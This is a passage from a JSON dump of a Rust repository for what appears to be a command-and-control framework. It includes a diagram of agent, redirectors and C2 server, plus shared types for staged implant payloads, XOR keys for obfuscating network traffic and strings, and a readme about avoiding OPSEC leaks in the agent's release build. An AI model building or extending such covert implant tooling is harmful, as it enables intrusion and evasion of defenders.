\"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -45.131881140475,\n          -0.8849931230552102\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"qVfb2A8gAjHk3kiCvBxNh\",\n        \"focus\": -0.06637323970173968,\n        \"gap\": 14.380260548197498\n      },\n      \"endBinding\": {\n        \"elementId\": \"x1wFIvRp3jjah-aGGEMep\",\n        \"focus\": -0.2645346459450903,\n        \"gap\": 12.614226252077515\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"xXZiuVmldfkSUjj17oI2G\",\n      \"type\": \"text\",\n      \"x\": 1194.045433942991,\n      \"y\": 715.4451803298978,\n      \"width\": 36.22916793823242,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1g\",\n      \"roundness\": null,\n      \"seed\": 943104936,\n      \"version\": 36,\n      \"versionNonce\": 138022907,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Via \",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Via \",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"DY3X59WoByhe02O2AQBaC\",\n      \"type\": \"text\",\n      \"x\": 1232.1450806684156,\n      \"y\": 713.785670932363,\n      \"width\": 201.2291717529297,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1971c2\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1h\",\n      \"roundness\": null,\n      \"seed\": 586627496,\n      \"version\": 50,\n      \"versionNonce\": 1009467701,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"serde_json::to_vec()\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"serde_json::to_vec()\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"8fIX6pH4--tzFyoHLTgpQ\",\n      \"type\": \"rectangle\",\n      \"x\": 2443.3583854520607,\n      \"y\": 293.5504323173465,\n      \"width\": 133.62585972180332,\n      \"height\": 86.7240260929655,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1i\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 623675518,\n      \"version\": 112,\n      \"versionNonce\": 1751505588,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"tV2K5_qlBrgmg4NCiaywZ\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"Sz3dKTQvRY7HxYDeWNekh\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"zh7Jlgb1ymz0nMJii3nyx\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"KP1axwUpaaJjLw1lGIXGQ\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"FUyq56vV2_bcVLFzyKRwf\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"fXIr6P6rQhq3v2xDMVm6F\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737894996,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"Hm3ViRUL8ZNrfEkbrVRcg\",\n      \"type\": \"text\",\n      \"x\": 2483.180510400693,\n      \"y\": 318.94803050142724,\n      \"width\": 47.77083206176758,\n      \"height\": 45,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1j\",\n      \"roundness\": null,\n      \"seed\": 2049579518,\n      \"version\": 32,\n      \"versionNonce\": 938955413,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"C2\",\n      \"fontSize\": 36,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"C2\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"kdfuRu4s8bik_ez2pULmk\",\n      \"type\": \"rectangle\",\n      \"x\": 1894.2535727668792,\n      \"y\": 297.09021914195296,\n      \"width\": 133.62585972180332,\n      \"height\": 86.7240260929655,\n      \"angle\": 0,\n      \"strokeColor\": \"#e03131\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1k\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 2004330750,\n      \"version\": 198,\n      \"versionNonce\": 1674349883,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"tV2K5_qlBrgmg4NCiaywZ\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"Sz3dKTQvRY7HxYDeWNekh\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"zh7Jlgb1ymz0nMJii3nyx\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"YS2QiARxVfozQfoTYZ6YD\",\n      \"type\": \"text\",\n      \"x\": 1908.4124500033208,\n      \"y\": 318.94808113804936,\n      \"width\": 102.29166412353516,\n      \"height\": 45,\n      \"angle\": 0,\n      \"strokeColor\": \"#e03131\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1l\",\n      \"roundness\": null,\n      \"seed\": 1188419902,\n      \"version\": 158,\n      \"versionNonce\": 1996109813,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Agent\",\n      \"fontSize\": 36,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Agent\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"_wmDQEZfSvtUw_gmGazbJ\",\n      \"type\": \"rectangle\",\n      \"x\": 2136.284406028831,\n      \"y\": 167.88910561006384,\n      \"width\": 186.72220636130163,\n      \"height\": 69.91018636623224,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1m\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1886606654,\n      \"version\": 159,\n      \"versionNonce\": 920464859,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"I2IbHvrorCRE9dRzJ2Bqu\",\n      \"type\": \"text\",\n      \"x\": 2155.7531069726115,\n      \"y\": 188.81800285036394,\n      \"width\": 144,\n      \"height\": 35,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1n\",\n      \"roundness\": null,\n      \"seed\": 1155928638,\n      \"version\": 16,\n      \"versionNonce\": 322531669,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Redirector\",\n      \"fontSize\": 28,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Redirector\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"P4gcHYVBEzCZp6ZRnYN2Q\",\n      \"type\": \"rectangle\",\n      \"x\": 2139.381746928532,\n      \"y\": 442.6627011573588,\n      \"width\": 186.72220636130163,\n      \"height\": 69.91018636623224,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1o\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 67802302,\n      \"version\": 252,\n      \"versionNonce\": 1817229947,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"GLfrT_hyffVurZTbBUHn5\",\n      \"type\": \"text\",\n      \"x\": 2158.850447872312,\n      \"y\": 463.5915983976589,\n      \"width\": 144,\n      \"height\": 35,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1p\",\n      \"roundness\": null,\n      \"seed\": 1637174526,\n      \"version\": 109,\n      \"versionNonce\": 1242201781,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Redirector\",\n      \"fontSize\": 28,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Redirector\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"tV2K5_qlBrgmg4NCiaywZ\",\n      \"type\": \"arrow\",\n      \"x\": 2030.0917127498328,\n      \"y\": 338.6823472155695,\n      \"width\": 413.2665376712357,\n      \"height\": 0.8849256075591256,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1q\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1296943934,\n      \"version\": 45,\n      \"versionNonce\": 283751195,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          413.2665376712357,\n          -0.8849256075591256\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"kdfuRu4s8bik_ez2pULmk\",\n        \"focus\": -0.0372848793189749,\n        \"gap\": 2.2122802611502266\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": -0.017053405471776865,\n        \"gap\": 1\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"pcr9O_0ErJjwRIClwPHiy\",\n      \"type\": \"rectangle\",\n      \"x\": 2530.967168363845,\n      \"y\": 155.49992767887417,\n      \"width\": 144.24510204350418,\n      \"height\": 51.32646166663278,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1r\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1545364386,\n      \"version\": 110,\n      \"versionNonce\": 303226901,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"S8hHQhOgvuEoTpwigB7jK\",\n      \"type\": \"text\",\n      \"x\": 2555.7454904684764,\n      \"y\": 170.2342443930164,\n      \"width\": 93.9375,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1s\",\n      \"roundness\": null,\n      \"seed\": 665072766,\n      \"version\": 44,\n      \"versionNonce\": 1964677051,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"FUyq56vV2_bcVLFzyKRwf\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Database\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Database\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"bM5yySUbg4HZRXvc0hGof\",\n      \"type\": \"rectangle\",\n      \"x\": 2629.7366497741828,\n      \"y\": 233.64540367855128,\n      \"width\": 144.24510204350418,\n      \"height\": 51.32646166663278,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1t\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 840861666,\n      \"version\": 234,\n      \"versionNonce\": 167506100,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737877907,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"gpibvdscTVLTdQ33UZ3BS\",\n      \"type\": \"text\",\n      \"x\": 2648.320425110404,\n      \"y\": 248.37972039269346,\n      \"width\": 104.8125,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1u\",\n      \"roundness\": null,\n      \"seed\": 914832290,\n      \"version\": 210,\n      \"versionNonce\": 1814280756,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"7c6VDrPbpSH-47nXBsZAq\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737877907,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"config.toml\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"config.toml\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"eCCipoTFoXIckhf9Kkt0z\",\n      \"type\": \"rectangle\",\n      \"x\": 2448.225442535886,\n      \"y\": 560.8020336088339,\n      \"width\": 133.62585972180332,\n      \"height\": 81.4143374166187,\n      \"angle\": 0,\n      \"strokeColor\": \"#f08c00\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1v\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 103005502,\n      \"version\": 233,\n      \"versionNonce\": 317693653,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"KP1axwUpaaJjLw1lGIXGQ\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"xco9t7Ux-7Q67HMlw6q8R\",\n      \"type\": \"text\",\n      \"x\": 2465.0392316259977,\n      \"y\": 581.7749362396229,\n      \"width\": 97.52083587646484,\n      \"height\": 45,\n      \"angle\": 0,\n      \"strokeColor\": \"#f08c00\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1w\",\n      \"roundness\": null,\n      \"seed\": 125134206,\n      \"version\": 148,\n      \"versionNonce\": 209593595,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Client\",\n      \"fontSize\": 36,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Client\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"KP1axwUpaaJjLw1lGIXGQ\",\n      \"type\": \"arrow\",\n      \"x\": 2517.69308170397,\n      \"y\": 557.2622467842274,\n      \"width\": 7.079404860473005,\n      \"height\": 176.98778837391546,\n      \"angle\": 0,\n      \"strokeColor\": \"#f08c00\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1x\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 2106186786,\n      \"version\": 40,\n      \"versionNonce\": 496958517,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -7.079404860473005,\n          -176.98778837391546\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"eCCipoTFoXIckhf9Kkt0z\",\n        \"focus\": 0.06464762996940727,\n        \"gap\": 3.5397868246064945\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": 0.018849630372583588,\n        \"gap\": 1\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"FUyq56vV2_bcVLFzyKRwf\",\n      \"type\": \"arrow\",\n      \"x\": 2585.411021521547,\n      \"y\": 209.40099420766958,\n      \"width\": 44.70946892806387,\n      \"height\": 83.26447874436971,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1y\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1875215678,\n      \"version\": 32,\n      \"versionNonce\": 1292225947,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -44.70946892806387,\n          83.26447874436971\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"S8hHQhOgvuEoTpwigB7jK\",\n        \"focus\": 0.055593766744400475,\n        \"gap\": 14.166749814653173\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": 0.084173312458029,\n        \"gap\": 1\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"7c6VDrPbpSH-47nXBsZAq\",\n      \"type\": \"arrow\",\n      \"x\": 2645.6292787967395,\n      \"y\": 284.8981274659169,\n      \"width\": 68.87142167291677,\n      \"height\": 47.58960546574667,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1z\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 2005065918,\n      \"version\": 167,\n      \"versionNonce\": 308330636,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737882743,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -68.87142167291677,\n          47.58960546574667\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"gpibvdscTVLTdQ33UZ3BS\",\n        \"focus\": 0.28849911628050184,\n        \"gap\": 11.830454035761415\n      },\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"KP48ZRQQ_WKfsKAmqAJXR\",\n      \"type\": \"rectangle\",\n      \"x\": 2647.4995399758473,\n      \"y\": 306.64823641961004,\n      \"width\": 144.24510204350418,\n      \"height\": 51.32646166663278,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b21\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1966572724,\n      \"version\": 331,\n      \"versionNonce\": 1848719284,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"fXIr6P6rQhq3v2xDMVm6F\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737894996,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"1huTICsWaGX6TQbomxC3N\",\n      \"type\": \"text\",\n      \"x\": 2694.782758290419,\n      \"y\": 320.6849131452933,\n      \"width\": 37.233333587646484,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b22\",\n      \"roundness\": null,\n      \"seed\": 315412020,\n      \"version\": 319,\n      \"versionNonce\": 1948159244,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737888978,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \".env\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \".env\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"fXIr6P6rQhq3v2xDMVm6F\",\n      \"type\": \"arrow\",\n      \"x\": 2647.0814190583524,\n      \"y\": 335.36997177213095,\n      \"width\": 68.93864839771413,\n      \"height\": 8.011219079856687,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"#ffec99\",\n      \"fillStyle\": \"cross-hatch\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b24\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1188018700,\n      \"version\": 36,\n      \"versionNonce\": 1209540916,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1758737894996,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -68.93864839771413,\n          8.011219079856687\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"KP48ZRQQ_WKfsKAmqAJXR\",\n        \"focus\": 0.15777312220304376,\n        \"gap\": 1\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": 0.28102161228352424,\n        \"gap\": 1.1585254867741241\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    }\n  ],\n  \"appState\": {\n    \"gridSize\": 20,\n    \"gridStep\": 5,\n    \"gridModeEnabled\": false,\n    \"viewBackgroundColor\": \"#ffffff\",\n    \"lockedMultiSelections\": {}\n  },\n  \"files\": {}\n}"
  },
  {
    "path": "shared/Cargo.toml",
    "content": "[package]\nname = \"shared\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nserde = {version = \"1.0\", features = [\"derive\"] }\nserde_json = \"1\"\nchrono = { version = \"0.4.41\", features = [\"serde\"] }\n\n[target.'cfg(not(target_arch = \"wasm32\"))'.dependencies]\nsqlx = { version = \"=0.8.6\", features = [\"postgres\", \"chrono\"] }"
  },
  {
    "path": "shared/readme.md",
    "content": "# Shared\n\nThis crate holds shared types, implementations, and logic which are shared across multiple crates,\nbut importantly, things which will not lead to OPSEC leaks on the release build of the agent.\n\nFor anything which may cause OPSEC problems, or type problems due to OPSEC strategy, see\nthe sibling crate, `shared_c2_client`."
  },
  {
    "path": "shared/src/lib.rs",
    "content": "use serde::{Deserialize, Serialize};\n\npub mod net;\npub mod stomped_structs;\npub mod task_types;\npub mod tasks;\n\n#[derive(Debug, Clone, Default, Serialize, Deserialize)]\npub struct StagedResourceDataNoSqlx {\n    pub agent_name: String,\n    pub c2_endpoint: String,\n    pub staged_endpoint: String,\n    pub pe_name: String,\n    pub sleep_time: i64,\n    pub port: i16,\n    pub num_downloads: i64,\n}\n"
  },
  {
    "path": "shared/src/net.rs",
    "content": "use serde::{Deserialize, Serialize};\n\nuse crate::tasks::{Command, Task};\n\nconst NET_XOR_KEY: u8 = 0x3d;\npub const STR_CRYPT_XOR_KEY: u8 = 0x1f;\n\npub const ADMIN_AUTH_SEPARATOR: &str = \"=authdivider=\";\npub const ADMIN_ENDPOINT: &str = \"admin\";\npub const ADMIN_LOGIN_ENDPOINT: &str = \"admin_login\";\n/// The API endpoint for whether an unread notification exists for a specific agent\npub const NOTIFICATION_CHECK_AGENT_ENDPOINT: &str = \"check_notifs\";\n/// The URI to check to determine if an admin is logged in on the GUI, serves no other purpose\npub const ADMIN_HEALTH_CHECK_ENDPOINT: &str = \"/adm/is_logged_in\";\n\npub type CompletedTasks = Vec<Vec<u16>>;\npub type TasksNetworkStream = Vec<Vec<u8>>;\n\n#[derive(Serialize, Deserialize)]\npub struct AdminLoginPacket {\n    pub username: String,\n    pub password: String,\n}\n\npub trait XorEncode {\n    fn xor_network_stream(self) -> Self;\n}\n\nimpl XorEncode for Vec<u8> {\n    fn xor_network_stream(mut self) -> Self {\n        for b in &mut self {\n            *b ^= NET_XOR_KEY;\n        }\n\n        self\n    }\n}\n\npub fn encode_u16buf_to_u8buf(input: &[u16]) -> Vec<u8> {\n    let mut 